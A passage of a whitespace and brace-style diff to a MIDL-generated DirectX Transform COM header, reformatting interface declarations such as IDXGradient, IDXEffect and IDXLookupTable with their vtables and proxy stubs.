DXBASESAMPLE *pScratchBuffer, /* [in] */ const DXPMSAMPLE *pSrc, @@ -3824,50 +3813,48 @@ void __RPC_STUB IDXARGBReadWritePtr_OverArrayAndMove_Stub( #define __IDXDCLock_INTERFACE_DEFINED__ /* interface IDXDCLock */ -/* [local][unique][helpstring][uuid][object] */ +/* [local][unique][helpstring][uuid][object] */ EXTERN_C const IID IID_IDXDCLock; #if defined(__cplusplus) && !defined(CINTERFACE) - - MIDL_INTERFACE("0F619456-CF39-11d1-905E-00C04FD9189D") - IDXDCLock : public IUnknown - { - public: - virtual HDC STDMETHODCALLTYPE GetDC( void) = 0; - - }; - + +MIDL_INTERFACE("0F619456-CF39-11d1-905E-00C04FD9189D") +IDXDCLock : public IUnknown { +public: + virtual HDC STDMETHODCALLTYPE GetDC( void) = 0; + +}; + #else /* C style interface */ - typedef struct IDXDCLockVtbl - { - BEGIN_INTERFACE - - HRESULT ( STDMETHODCALLTYPE *QueryInterface )( - IDXDCLock * This, - /* [in] */ REFIID riid, - /* [iid_is][out] */ void **ppvObject); - - ULONG ( STDMETHODCALLTYPE *AddRef )( - IDXDCLock * This); - - ULONG ( STDMETHODCALLTYPE *Release )( - IDXDCLock * This); - - HDC ( STDMETHODCALLTYPE *GetDC )( - IDXDCLock * This); - - END_INTERFACE - } IDXDCLockVtbl; +typedef struct IDXDCLockVtbl { + BEGIN_INTERFACE + + HRESULT ( STDMETHODCALLTYPE *QueryInterface )( + IDXDCLock * This, + /* [in] */ REFIID riid, + /* [iid_is][out] */ void **ppvObject); + + ULONG ( STDMETHODCALLTYPE *AddRef )( + IDXDCLock * This); + + ULONG ( STDMETHODCALLTYPE *Release )( + IDXDCLock * This); + + HDC ( STDMETHODCALLTYPE *GetDC )( + IDXDCLock * This); + + END_INTERFACE +} IDXDCLockVtbl; + +interface IDXDCLock +{ + CONST_VTBL struct IDXDCLockVtbl *lpVtbl; +}; - interface IDXDCLock - { - CONST_VTBL struct IDXDCLockVtbl *lpVtbl; - }; - #ifdef COBJMACROS @@ -3892,7 +3879,7 @@ EXTERN_C const IID IID_IDXDCLock; -HDC STDMETHODCALLTYPE IDXDCLock_GetDC_Proxy( +HDC STDMETHODCALLTYPE IDXDCLock_GetDC_Proxy( IDXDCLock * This); @@ -3911,54 +3898,52 @@ void __RPC_STUB IDXDCLock_GetDC_Stub( #define __IDXTScaleOutput_INTERFACE_DEFINED__ /* interface IDXTScaleOutput */ -/* [local][unique][helpstring][uuid][object] */ +/* [local][unique][helpstring][uuid][object] */ EXTERN_C const IID IID_IDXTScaleOutput; #if defined(__cplusplus) && !defined(CINTERFACE) - - MIDL_INTERFACE("B2024B50-EE77-11d1-9066-00C04FD9189D") - IDXTScaleOutput : public IUnknown - { - public: - virtual HRESULT STDMETHODCALLTYPE SetOutputSize( - /* [in] */ const SIZE OutSize, - /* [in] */ BOOL bMaintainAspect) = 0; - - }; - + +MIDL_INTERFACE("B2024B50-EE77-11d1-9066-00C04FD9189D") +IDXTScaleOutput : public IUnknown { +public: + virtual HRESULT STDMETHODCALLTYPE SetOutputSize( + /* [in] */ const SIZE OutSize, + /* [in] */ BOOL bMaintainAspect) = 0; + +}; + #else /* C style interface */ - typedef struct IDXTScaleOutputVtbl - { - BEGIN_INTERFACE - - HRESULT ( STDMETHODCALLTYPE *QueryInterface )( - IDXTScaleOutput * This, - /* [in] */ REFIID riid, - /* [iid_is][out] */ void **ppvObject); - - ULONG ( STDMETHODCALLTYPE *AddRef )( - IDXTScaleOutput * This); - - ULONG ( STDMETHODCALLTYPE *Release )( - IDXTScaleOutput * This); - - HRESULT ( STDMETHODCALLTYPE *SetOutputSize )( - IDXTScaleOutput * This, - /* [in] */ const SIZE OutSize, - /* [in] */ BOOL bMaintainAspect); - - END_INTERFACE - } IDXTScaleOutputVtbl; +typedef struct IDXTScaleOutputVtbl { + BEGIN_INTERFACE + + HRESULT ( STDMETHODCALLTYPE *QueryInterface )( + IDXTScaleOutput * This, + /* [in] */ REFIID riid, + /* [iid_is][out] */ void **ppvObject); + + ULONG ( STDMETHODCALLTYPE *AddRef )( + IDXTScaleOutput * This); + + ULONG ( STDMETHODCALLTYPE *Release )( + IDXTScaleOutput * This); + + HRESULT ( STDMETHODCALLTYPE *SetOutputSize )( + IDXTScaleOutput * This, + /* [in] */ const SIZE OutSize, + /* [in] */ BOOL bMaintainAspect); + + END_INTERFACE +} IDXTScaleOutputVtbl; + +interface IDXTScaleOutput +{ + CONST_VTBL struct IDXTScaleOutputVtbl *lpVtbl; +}; - interface IDXTScaleOutput - { - CONST_VTBL struct IDXTScaleOutputVtbl *lpVtbl; - }; - #ifdef COBJMACROS @@ -3983,7 +3968,7 @@ EXTERN_C const IID IID_IDXTScaleOutput; -HRESULT STDMETHODCALLTYPE IDXTScaleOutput_SetOutputSize_Proxy( +HRESULT STDMETHODCALLTYPE IDXTScaleOutput_SetOutputSize_Proxy( IDXTScaleOutput * This, /* [in] */ const SIZE OutSize, /* [in] */ BOOL bMaintainAspect); @@ -4004,68 +3989,66 @@ void __RPC_STUB IDXTScaleOutput_SetOutputSize_Stub( #define __IDXGradient_INTERFACE_DEFINED__ /* interface IDXGradient */ -/* [local][unique][helpstring][uuid][object] */ +/* [local][unique][helpstring][uuid][object] */ EXTERN_C const IID IID_IDXGradient; #if defined(__cplusplus) && !defined(CINTERFACE) - - MIDL_INTERFACE("B2024B51-EE77-11d1-9066-00C04FD9189D") - IDXGradient : public IDXTScaleOutput - { - public: - virtual HRESULT STDMETHODCALLTYPE SetGradient( - DXSAMPLE StartColor, - DXSAMPLE EndColor, - BOOL bHorizontal) = 0; - - virtual HRESULT STDMETHODCALLTYPE GetOutputSize( - /* [out] */ SIZE *pOutSize) = 0; - - }; - + +MIDL_INTERFACE("B2024B51-EE77-11d1-9066-00C04FD9189D") +IDXGradient : public IDXTScaleOutput { +public: + virtual HRESULT STDMETHODCALLTYPE SetGradient( + DXSAMPLE StartColor, + DXSAMPLE EndColor, + BOOL bHorizontal) = 0; + + virtual HRESULT STDMETHODCALLTYPE GetOutputSize( + /* [out] */ SIZE *pOutSize) = 0; + +}; + #else /* C style interface */ - typedef struct IDXGradientVtbl - { - BEGIN_INTERFACE - - HRESULT ( STDMETHODCALLTYPE *QueryInterface )( - IDXGradient * This, - /* [in] */ REFIID riid, - /* [iid_is][out] */ void **ppvObject); - - ULONG ( STDMETHODCALLTYPE *AddRef )( - IDXGradient * This); - - ULONG ( STDMETHODCALLTYPE *Release )( - IDXGradient * This); - - HRESULT ( STDMETHODCALLTYPE *SetOutputSize )( - IDXGradient * This, - /* [in] */ const SIZE OutSize, - /* [in] */ BOOL bMaintainAspect); - - HRESULT ( STDMETHODCALLTYPE *SetGradient )( - IDXGradient * This, - DXSAMPLE StartColor, - DXSAMPLE EndColor, - BOOL bHorizontal); - - HRESULT ( STDMETHODCALLTYPE *GetOutputSize )( - IDXGradient * This, - /* [out] */ SIZE *pOutSize); - - END_INTERFACE - } IDXGradientVtbl; +typedef struct IDXGradientVtbl { + BEGIN_INTERFACE + + HRESULT ( STDMETHODCALLTYPE *QueryInterface )( + IDXGradient * This, + /* [in] */ REFIID riid, + /* [iid_is][out] */ void **ppvObject); + + ULONG ( STDMETHODCALLTYPE *AddRef )( + IDXGradient * This); + + ULONG ( STDMETHODCALLTYPE *Release )( + IDXGradient * This); + + HRESULT ( STDMETHODCALLTYPE *SetOutputSize )( + IDXGradient * This, + /* [in] */ const SIZE OutSize, + /* [in] */ BOOL bMaintainAspect); + + HRESULT ( STDMETHODCALLTYPE *SetGradient )( + IDXGradient * This, + DXSAMPLE StartColor, + DXSAMPLE EndColor, + BOOL bHorizontal); + + HRESULT ( STDMETHODCALLTYPE *GetOutputSize )( + IDXGradient * This, + /* [out] */ SIZE *pOutSize); + + END_INTERFACE +} IDXGradientVtbl; + +interface IDXGradient +{ + CONST_VTBL struct IDXGradientVtbl *lpVtbl; +}; - interface IDXGradient - { - CONST_VTBL struct IDXGradientVtbl *lpVtbl; - }; - #ifdef COBJMACROS @@ -4097,7 +4080,7 @@ EXTERN_C const IID IID_IDXGradient; -HRESULT STDMETHODCALLTYPE IDXGradient_SetGradient_Proxy( +HRESULT STDMETHODCALLTYPE IDXGradient_SetGradient_Proxy( IDXGradient * This, DXSAMPLE StartColor, DXSAMPLE EndColor, @@ -4111,7 +4094,7 @@ void __RPC_STUB IDXGradient_SetGradient_Stub( DWORD *_pdwStubPhase); -HRESULT STDMETHODCALLTYPE IDXGradient_GetOutputSize_Proxy( +HRESULT STDMETHODCALLTYPE IDXGradient_GetOutputSize_Proxy( IDXGradient * This, /* [out] */ SIZE *pOutSize); @@ -4131,70 +4114,68 @@ void __RPC_STUB IDXGradient_GetOutputSize_Stub( #define __IDXTScale_INTERFACE_DEFINED__ /* interface IDXTScale */ -/* [local][unique][helpstring][uuid][object] */ +/* [local][unique][helpstring][uuid][object] */ EXTERN_C const IID IID_IDXTScale; #if defined(__cplusplus) && !defined(CINTERFACE) - - MIDL_INTERFACE("B39FD742-E139-11d1-9065-00C04FD9189D") - IDXTScale : public IUnknown - { - public: - virtual HRESULT STDMETHODCALLTYPE SetScales( - /* [in] */ float Scales[ 2 ]) = 0; - - virtual HRESULT STDMETHODCALLTYPE GetScales( - /* [out] */ float Scales[ 2 ]) = 0; - - virtual HRESULT STDMETHODCALLTYPE ScaleFitToSize( - /* [out][in] */ DXBNDS *pClipBounds, - /* [in] */ SIZE FitToSize, - /* [in] */ BOOL bMaintainAspect) = 0; - - }; - + +MIDL_INTERFACE("B39FD742-E139-11d1-9065-00C04FD9189D") +IDXTScale : public IUnknown { +public: + virtual HRESULT STDMETHODCALLTYPE SetScales( + /* [in] */ float Scales[ 2 ]) = 0; + + virtual HRESULT STDMETHODCALLTYPE GetScales( + /* [out] */ float Scales[ 2 ]) = 0; + + virtual HRESULT STDMETHODCALLTYPE ScaleFitToSize( + /* [out][in] */ DXBNDS *pClipBounds, + /* [in] */ SIZE FitToSize, + /* [in] */ BOOL bMaintainAspect) = 0; + +}; + #else /* C style interface */ - typedef struct IDXTScaleVtbl - { - BEGIN_INTERFACE - - HRESULT ( STDMETHODCALLTYPE *QueryInterface )( - IDXTScale * This, - /* [in] */ REFIID riid, - /* [iid_is][out] */ void **ppvObject); - - ULONG ( STDMETHODCALLTYPE *AddRef )( - IDXTScale * This); - - ULONG ( STDMETHODCALLTYPE *Release )( - IDXTScale * This); - - HRESULT ( STDMETHODCALLTYPE *SetScales )( - IDXTScale * This, - /* [in] */ float Scales[ 2 ]); - - HRESULT ( STDMETHODCALLTYPE *GetScales )( - IDXTScale * This, - /* [out] */ float Scales[ 2 ]); - - HRESULT ( STDMETHODCALLTYPE *ScaleFitToSize )( - IDXTScale * This, - /* [out][in] */ DXBNDS *pClipBounds, - /* [in] */ SIZE FitToSize, - /* [in] */ BOOL bMaintainAspect); - - END_INTERFACE - } IDXTScaleVtbl; +typedef struct IDXTScaleVtbl { + BEGIN_INTERFACE + + HRESULT ( STDMETHODCALLTYPE *QueryInterface )( + IDXTScale * This, + /* [in] */ REFIID riid, + /* [iid_is][out] */ void **ppvObject); + + ULONG ( STDMETHODCALLTYPE *AddRef )( + IDXTScale * This); + + ULONG ( STDMETHODCALLTYPE *Release )( + IDXTScale * This); + + HRESULT ( STDMETHODCALLTYPE *SetScales )( + IDXTScale * This, + /* [in] */ float Scales[ 2 ]); + + HRESULT ( STDMETHODCALLTYPE *GetScales )( + IDXTScale * This, + /* [out] */ float Scales[ 2 ]); + + HRESULT ( STDMETHODCALLTYPE *ScaleFitToSize )( + IDXTScale * This, + /* [out][in] */ DXBNDS *pClipBounds, + /* [in] */ SIZE FitToSize, + /* [in] */ BOOL bMaintainAspect); + + END_INTERFACE +} IDXTScaleVtbl; + +interface IDXTScale +{ + CONST_VTBL struct IDXTScaleVtbl *lpVtbl; +}; - interface IDXTScale - { - CONST_VTBL struct IDXTScaleVtbl *lpVtbl; - }; - #ifdef COBJMACROS @@ -4225,7 +4206,7 @@ EXTERN_C const IID IID_IDXTScale; -HRESULT STDMETHODCALLTYPE IDXTScale_SetScales_Proxy( +HRESULT STDMETHODCALLTYPE IDXTScale_SetScales_Proxy( IDXTScale * This, /* [in] */ float Scales[ 2 ]); @@ -4237,7 +4218,7 @@ void __RPC_STUB IDXTScale_SetScales_Stub( DWORD *_pdwStubPhase); -HRESULT STDMETHODCALLTYPE IDXTScale_GetScales_Proxy( +HRESULT STDMETHODCALLTYPE IDXTScale_GetScales_Proxy( IDXTScale * This, /* [out] */ float Scales[ 2 ]); @@ -4249,7 +4230,7 @@ void __RPC_STUB IDXTScale_GetScales_Stub( DWORD *_pdwStubPhase); -HRESULT STDMETHODCALLTYPE IDXTScale_ScaleFitToSize_Proxy( +HRESULT STDMETHODCALLTYPE IDXTScale_ScaleFitToSize_Proxy( IDXTScale * This, /* [out][in] */ DXBNDS *pClipBounds, /* [in] */ SIZE FitToSize, @@ -4268,22 +4249,22 @@ void __RPC_STUB IDXTScale_ScaleFitToSize_Stub( /* interface __MIDL_itf_dxtrans_0276 */ -/* [local] */ +/* [local] */ -typedef -enum DISPIDDXEFFECT - { DISPID_DXECAPABILITIES = 10000, - DISPID_DXEPROGRESS = DISPID_DXECAPABILITIES + 1, - DISPID_DXESTEP = DISPID_DXEPROGRESS + 1, - DISPID_DXEDURATION = DISPID_DXESTEP + 1, - DISPID_DXE_NEXT_ID = DISPID_DXEDURATION + 1 - } DISPIDDXBOUNDEDEFFECT; +typedef +enum DISPIDDXEFFECT { + DISPID_DXECAPABILITIES = 10000, + DISPID_DXEPROGRESS = DISPID_DXECAPABILITIES + 1, + DISPID_DXESTEP = DISPID_DXEPROGRESS + 1, + DISPID_DXEDURATION = DISPID_DXESTEP + 1, + DISPID_DXE_NEXT_ID = DISPID_DXEDURATION + 1 +} DISPIDDXBOUNDEDEFFECT; -typedef -enum DXEFFECTTYPE - { DXTET_PERIODIC = 1 << 0, - DXTET_MORPH = 1 << 1 - } DXEFFECTTYPE; +typedef +enum DXEFFECTTYPE { + DXTET_PERIODIC = 1 << 0, + DXTET_MORPH = 1 << 1 +} DXEFFECTTYPE; @@ -4294,116 +4275,114 @@ extern RPC_IF_HANDLE __MIDL_itf_dxtrans_0276_v0_0_s_ifspec; #define __IDXEffect_INTERFACE_DEFINED__ /* interface IDXEffect */ -/* [dual][unique][helpstring][uuid][object] */ +/* [dual][unique][helpstring][uuid][object] */ EXTERN_C const IID IID_IDXEffect; #if defined(__cplusplus) && !defined(CINTERFACE) - - MIDL_INTERFACE("E31FB81B-1335-11d1-8189-0000F87557DB") - IDXEffect : public IDispatch - { - public: - virtual /* [id][propget] */ HRESULT STDMETHODCALLTYPE get_Capabilities( - /* [retval][out] */ long *pVal) = 0; - - virtual /* [id][propget] */ HRESULT STDMETHODCALLTYPE get_Progress( - /* [retval][out] */ float *pVal) = 0; - - virtual /* [id][propput] */ HRESULT STDMETHODCALLTYPE put_Progress( - /* [in] */ float newVal) = 0; - - virtual /* [id][propget] */ HRESULT STDMETHODCALLTYPE get_StepResolution( - /* [retval][out] */ float *pVal) = 0; - - virtual /* [id][propget] */ HRESULT STDMETHODCALLTYPE get_Duration( - /* [retval][out] */ float *pVal) = 0; - - virtual /* [id][propput] */ HRESULT STDMETHODCALLTYPE put_Duration( - /* [in] */ float newVal) = 0; - - }; - + +MIDL_INTERFACE("E31FB81B-1335-11d1-8189-0000F87557DB") +IDXEffect : public IDispatch { +public: + virtual /* [id][propget] */ HRESULT STDMETHODCALLTYPE get_Capabilities( + /* [retval][out] */ long *pVal) = 0; + + virtual /* [id][propget] */ HRESULT STDMETHODCALLTYPE get_Progress( + /* [retval][out] */ float *pVal) = 0; + + virtual /* [id][propput] */ HRESULT STDMETHODCALLTYPE put_Progress( + /* [in] */ float newVal) = 0; + + virtual /* [id][propget] */ HRESULT STDMETHODCALLTYPE get_StepResolution( + /* [retval][out] */ float *pVal) = 0; + + virtual /* [id][propget] */ HRESULT STDMETHODCALLTYPE get_Duration( + /* [retval][out] */ float *pVal) = 0; + + virtual /* [id][propput] */ HRESULT STDMETHODCALLTYPE put_Duration( + /* [in] */ float newVal) = 0; + +}; + #else /* C style interface */ - typedef struct IDXEffectVtbl - { - BEGIN_INTERFACE - - HRESULT ( STDMETHODCALLTYPE *QueryInterface )( - IDXEffect * This, - /* [in] */ REFIID riid, - /* [iid_is][out] */ void **ppvObject); - - ULONG ( STDMETHODCALLTYPE *AddRef )( - IDXEffect * This); - - ULONG ( STDMETHODCALLTYPE *Release )( - IDXEffect * This); - - HRESULT ( STDMETHODCALLTYPE *GetTypeInfoCount )( - IDXEffect * This, - /* [out] */ UINT *pctinfo); - - HRESULT ( STDMETHODCALLTYPE *GetTypeInfo )( - IDXEffect * This, - /* [in] */ UINT iTInfo, - /* [in] */ LCID lcid, - /* [out] */ ITypeInfo **ppTInfo); - - HRESULT ( STDMETHODCALLTYPE *GetIDsOfNames )( - IDXEffect * This, - /* [in] */ REFIID riid, - /* [size_is][in] */ LPOLESTR *rgszNames, - /* [in] */ UINT cNames, - /* [in] */ LCID lcid, - /* [size_is][out] */ DISPID *rgDispId); - - /* [local] */ HRESULT ( STDMETHODCALLTYPE *Invoke )( - IDXEffect * This, - /* [in] */ DISPID dispIdMember, - /* [in] */ REFIID riid, - /* [in] */ LCID lcid, - /* [in] */ WORD wFlags, - /* [out][in] */ DISPPARAMS *pDispParams, - /* [out] */ VARIANT *pVarResult, - /* [out] */ EXCEPINFO *pExcepInfo, - /* [out] */ UINT *puArgErr); - - /* [id][propget] */ HRESULT ( STDMETHODCALLTYPE *get_Capabilities )( - IDXEffect * This, - /* [retval][out] */ long *pVal); - - /* [id][propget] */ HRESULT ( STDMETHODCALLTYPE *get_Progress )( - IDXEffect * This, - /* [retval][out] */ float *pVal); - - /* [id][propput] */ HRESULT ( STDMETHODCALLTYPE *put_Progress )( - IDXEffect * This, - /* [in] */ float newVal); - - /* [id][propget] */ HRESULT ( STDMETHODCALLTYPE *get_StepResolution )( - IDXEffect * This, - /* [retval][out] */ float *pVal); - - /* [id][propget] */ HRESULT ( STDMETHODCALLTYPE *get_Duration )( - IDXEffect * This, - /* [retval][out] */ float *pVal); - - /* [id][propput] */ HRESULT ( STDMETHODCALLTYPE *put_Duration )( - IDXEffect * This, - /* [in] */ float newVal); - - END_INTERFACE - } IDXEffectVtbl; +typedef struct IDXEffectVtbl { + BEGIN_INTERFACE + + HRESULT ( STDMETHODCALLTYPE *QueryInterface )( + IDXEffect * This, + /* [in] */ REFIID riid, + /* [iid_is][out] */ void **ppvObject); + + ULONG ( STDMETHODCALLTYPE *AddRef )( + IDXEffect * This); + + ULONG ( STDMETHODCALLTYPE *Release )( + IDXEffect * This); + + HRESULT ( STDMETHODCALLTYPE *GetTypeInfoCount )( + IDXEffect * This, + /* [out] */ UINT *pctinfo); + + HRESULT ( STDMETHODCALLTYPE *GetTypeInfo )( + IDXEffect * This, + /* [in] */ UINT iTInfo, + /* [in] */ LCID lcid, + /* [out] */ ITypeInfo **ppTInfo); + + HRESULT ( STDMETHODCALLTYPE *GetIDsOfNames )( + IDXEffect * This, + /* [in] */ REFIID riid, + /* [size_is][in] */ LPOLESTR *rgszNames, + /* [in] */ UINT cNames, + /* [in] */ LCID lcid, + /* [size_is][out] */ DISPID *rgDispId); + + /* [local] */ HRESULT ( STDMETHODCALLTYPE *Invoke )( + IDXEffect * This, + /* [in] */ DISPID dispIdMember, + /* [in] */ REFIID riid, + /* [in] */ LCID lcid, + /* [in] */ WORD wFlags, + /* [out][in] */ DISPPARAMS *pDispParams, + /* [out] */ VARIANT *pVarResult, + /* [out] */ EXCEPINFO *pExcepInfo, + /* [out] */ UINT *puArgErr); + + /* [id][propget] */ HRESULT ( STDMETHODCALLTYPE *get_Capabilities )( + IDXEffect * This, + /* [retval][out] */ long *pVal); + + /* [id][propget] */ HRESULT ( STDMETHODCALLTYPE *get_Progress )( + IDXEffect * This, + /* [retval][out] */ float *pVal); + + /* [id][propput] */ HRESULT ( STDMETHODCALLTYPE *put_Progress )( + IDXEffect * This, + /* [in] */ float newVal); + + /* [id][propget] */ HRESULT ( STDMETHODCALLTYPE *get_StepResolution )( + IDXEffect * This, + /* [retval][out] */ float *pVal); + + /* [id][propget] */ HRESULT ( STDMETHODCALLTYPE *get_Duration )( + IDXEffect * This, + /* [retval][out] */ float *pVal); + + /* [id][propput] */ HRESULT ( STDMETHODCALLTYPE *put_Duration )( + IDXEffect * This, + /* [in] */ float newVal); + + END_INTERFACE +} IDXEffectVtbl; + +interface IDXEffect +{ + CONST_VTBL struct IDXEffectVtbl *lpVtbl; +}; - interface IDXEffect - { - CONST_VTBL struct IDXEffectVtbl *lpVtbl; - }; - #ifdef COBJMACROS @@ -4456,7 +4435,7 @@ EXTERN_C const IID IID_IDXEffect; -/* [id][propget] */ HRESULT STDMETHODCALLTYPE IDXEffect_get_Capabilities_Proxy( +/* [id][propget] */ HRESULT STDMETHODCALLTYPE IDXEffect_get_Capabilities_Proxy( IDXEffect * This, /* [retval][out] */ long *pVal); @@ -4468,7 +4447,7 @@ void __RPC_STUB IDXEffect_get_Capabilities_Stub( DWORD *_pdwStubPhase); -/* [id][propget] */ HRESULT STDMETHODCALLTYPE IDXEffect_get_Progress_Proxy( +/* [id][propget] */ HRESULT STDMETHODCALLTYPE IDXEffect_get_Progress_Proxy( IDXEffect * This, /* [retval][out] */ float *pVal); @@ -4480,7 +4459,7 @@ void __RPC_STUB IDXEffect_get_Progress_Stub( DWORD *_pdwStubPhase); -/* [id][propput] */ HRESULT STDMETHODCALLTYPE IDXEffect_put_Progress_Proxy( +/* [id][propput] */ HRESULT STDMETHODCALLTYPE IDXEffect_put_Progress_Proxy( IDXEffect * This, /* [in] */ float newVal); @@ -4492,7 +4471,7 @@ void __RPC_STUB IDXEffect_put_Progress_Stub( DWORD *_pdwStubPhase); -/* [id][propget] */ HRESULT STDMETHODCALLTYPE IDXEffect_get_StepResolution_Proxy( +/* [id][propget] */ HRESULT STDMETHODCALLTYPE IDXEffect_get_StepResolution_Proxy( IDXEffect * This, /* [retval][out] */ float *pVal); @@ -4504,7 +4483,7 @@ void __RPC_STUB IDXEffect_get_StepResolution_Stub( DWORD *_pdwStubPhase); -/* [id][propget] */ HRESULT STDMETHODCALLTYPE IDXEffect_get_Duration_Proxy( +/* [id][propget] */ HRESULT STDMETHODCALLTYPE IDXEffect_get_Duration_Proxy( IDXEffect * This, /* [retval][out] */ float *pVal); @@ -4516,7 +4495,7 @@ void __RPC_STUB IDXEffect_get_Duration_Stub( DWORD *_pdwStubPhase); -/* [id][propput] */ HRESULT STDMETHODCALLTYPE IDXEffect_put_Duration_Proxy( +/* [id][propput] */ HRESULT STDMETHODCALLTYPE IDXEffect_put_Duration_Proxy( IDXEffect * This, /* [in] */ float newVal); @@ -4536,95 +4515,93 @@ void __RPC_STUB IDXEffect_put_Duration_Stub( #define __IDXLookupTable_INTERFACE_DEFINED__ /* interface IDXLookupTable */ -/* [local][unique][helpstring][uuid][object] */ +/* [local][unique][helpstring][uuid][object] */ EXTERN_C const IID IID_IDXLookupTable; #if defined(__cplusplus) && !defined(CINTERFACE) - - MIDL_INTERFACE("01BAFC7F-9E63-11d1-9053-00C04FD9189D") - IDXLookupTable : public IDXBaseObject - { - public: - virtual HRESULT STDMETHODCALLTYPE GetTables( - /* [out] */ BYTE RedLUT[ 256 ], - /* [out] */ BYTE GreenLUT[ 256 ], - /* [out] */ BYTE BlueLUT[ 256 ], - /* [out] */ BYTE AlphaLUT[ 256 ]) = 0; - - virtual HRESULT STDMETHODCALLTYPE IsChannelIdentity( - /* [out] */ DXBASESAMPLE *pSampleBools) = 0; - - virtual HRESULT STDMETHODCALLTYPE GetIndexValues( - /* [in] */ ULONG Index, - /* [out] */ DXBASESAMPLE *pSample) = 0; - - virtual HRESULT STDMETHODCALLTYPE ApplyTables( - /* [out][in] */ DXSAMPLE *pSamples, - /* [in] */ ULONG cSamples) = 0; - - }; - + +MIDL_INTERFACE("01BAFC7F-9E63-11d1-9053-00C04FD9189D") +IDXLookupTable : public IDXBaseObject { +public: + virtual HRESULT STDMETHODCALLTYPE GetTables( + /* [out] */ BYTE RedLUT[ 256 ], + /* [out] */ BYTE GreenLUT[ 256 ], + /* [out] */ BYTE BlueLUT[ 256 ], + /* [out] */ BYTE AlphaLUT[ 256 ]) = 0; + + virtual HRESULT STDMETHODCALLTYPE IsChannelIdentity( + /* [out] */ DXBASESAMPLE *pSampleBools) = 0; + + virtual HRESULT STDMETHODCALLTYPE GetIndexValues( + /* [in] */ ULONG Index, + /* [out] */ DXBASESAMPLE *pSample) = 0; + + virtual HRESULT STDMETHODCALLTYPE ApplyTables( + /* [out][in] */ DXSAMPLE *pSamples, + /* [in] */ ULONG cSamples) = 0; + +}; + #else /* C style interface */ - typedef struct IDXLookupTableVtbl - { - BEGIN_INTERFACE - - HRESULT ( STDMETHODCALLTYPE *QueryInterface )( - IDXLookupTable * This, - /* [in] */ REFIID riid, - /* [iid_is][out] */ void **ppvObject); - - ULONG ( STDMETHODCALLTYPE *AddRef )( - IDXLookupTable * This); - - ULONG ( STDMETHODCALLTYPE *Release )( - IDXLookupTable * This); - - HRESULT ( STDMETHODCALLTYPE *GetGenerationId )( - IDXLookupTable * This, - /* [out] */ ULONG *pID); - - HRESULT ( STDMETHODCALLTYPE *IncrementGenerationId )( - IDXLookupTable * This, - /* [in] */ BOOL bRefresh); - - HRESULT ( STDMETHODCALLTYPE *GetObjectSize )( - IDXLookupTable * This, - /* [out] */ ULONG *pcbSize); - - HRESULT ( STDMETHODCALLTYPE *GetTables )( - IDXLookupTable * This, - /* [out] */ BYTE RedLUT[ 256 ], - /* [out] */ BYTE GreenLUT[ 256 ], - /* [out] */ BYTE BlueLUT[ 256 ], - /* [out] */ BYTE AlphaLUT[ 256 ]); - - HRESULT ( STDMETHODCALLTYPE *IsChannelIdentity )( - IDXLookupTable * This, - /* [out] */ DXBASESAMPLE *pSampleBools); - - HRESULT ( STDMETHODCALLTYPE *GetIndexValues )( - IDXLookupTable * This, - /* [in] */ ULONG Index, - /* [out] */ DXBASESAMPLE *pSample); - - HRESULT ( STDMETHODCALLTYPE *ApplyTables )( - IDXLookupTable * This, - /* [out][in] */ DXSAMPLE *pSamples, - /* [in] */ ULONG cSamples); - - END_INTERFACE - } IDXLookupTableVtbl; +typedef struct IDXLookupTableVtbl { + BEGIN_INTERFACE + + HRESULT ( STDMETHODCALLTYPE *QueryInterface )( + IDXLookupTable * This, + /* [in] */ REFIID riid, + /* [iid_is][out] */ void **ppvObject); + + ULONG ( STDMETHODCALLTYPE *AddRef )( + IDXLookupTable * This); + + ULONG ( STDMETHODCALLTYPE *Release )( + IDXLookupTable * This); + + HRESULT ( STDMETHODCALLTYPE *GetGenerationId )( + IDXLookupTable * This, + /* [out] */ ULONG *pID); + + HRESULT ( STDMETHODCALLTYPE *IncrementGenerationId )( + IDXLookupTable * This, + /* [in] */ BOOL bRefresh); + + HRESULT ( STDMETHODCALLTYPE *GetObjectSize )( + IDXLookupTable * This, + /* [out] */ ULONG *pcbSize); + + HRESULT ( STDMETHODCALLTYPE *GetTables )( + IDXLookupTable * This, + /* [out] */ BYTE RedLUT[ 256 ], + /* [out] */ BYTE GreenLUT[ 256 ], + /* [out] */ BYTE BlueLUT[ 256 ], + /* [out] */ BYTE AlphaLUT[ 256 ]); + + HRESULT ( STDMETHODCALLTYPE *IsChannelIdentity )( + IDXLookupTable * This, + /* [out] */ DXBASESAMPLE *pSampleBools); + + HRESULT ( STDMETHODCALLTYPE *GetIndexValues )( + IDXLookupTable * This, + /* [in] */ ULONG Index, + /* [out] */ DXBASESAMPLE *pSample); + + HRESULT ( STDMETHODCALLTYPE *ApplyTables )( + IDXLookupTable * This, + /* [out][in] */ DXSAMPLE *pSamples, + /* [in] */ ULONG cSamples); + + END_INTERFACE +} IDXLookupTableVtbl; + +interface IDXLookupTable +{ + CONST_VTBL struct IDXLookupTableVtbl *lpVtbl; +}; - interface IDXLookupTable - { - CONST_VTBL struct IDXLookupTableVtbl *lpVtbl; - }; - #ifdef COBJMACROS @@ -4668,7 +4645,7 @@ EXTERN_C const IID IID_IDXLookupTable; -HRESULT STDMETHODCALLTYPE IDXLookupTable_GetTables_Proxy( +HRESULT STDMETHODCALLTYPE IDXLookupTable_GetTables_Proxy( IDXLookupTable * This, /* [out] */ BYTE RedLUT[ 256 ], /* [out] */ BYTE GreenLUT[ 256 ], @@ -4683,7 +4660,7 @@ void __RPC_STUB IDXLookupTable_GetTables_Stub( DWORD *_pdwStubPhase); -HRESULT STDMETHODCALLTYPE IDXLookupTable_IsChannelIdentity_Proxy( +HRESULT STDMETHODCALLTYPE IDXLookupTable_IsChannelIdentity_Proxy( IDXLookupTable * This, /* [out] */ DXBASESAMPLE *pSampleBools); @@ -4695,7 +4672,7 @@ void __RPC_STUB IDXLookupTable_IsChannelIdentity_Stub( DWORD *_pdwStubPhase); -HRESULT STDMETHODCALLTYPE IDXLookupTable_GetIndexValues_Proxy( +HRESULT STDMETHODCALLTYPE IDXLookupTable_GetIndexValues_Proxy( IDXLookupTable * This, /* [in] */ ULONG Index, /* [out] */ DXBASESAMPLE *pSample); @@ -4708,7 +4685,7 @@ void __RPC_STUB IDXLookupTable_GetIndexValues_Stub( DWORD *_pdwStubPhase); -HRESULT STDMETHODCALLTYPE IDXLookupTable_ApplyTables_Proxy( +HRESULT STDMETHODCALLTYPE IDXLookupTable_ApplyTables_Proxy( IDXLookupTable * This, /* [out][in] */ DXSAMPLE *pSamples, /* [in] */ ULONG cSamples); @@ -4726,10 +4703,9 @@ void __RPC_STUB 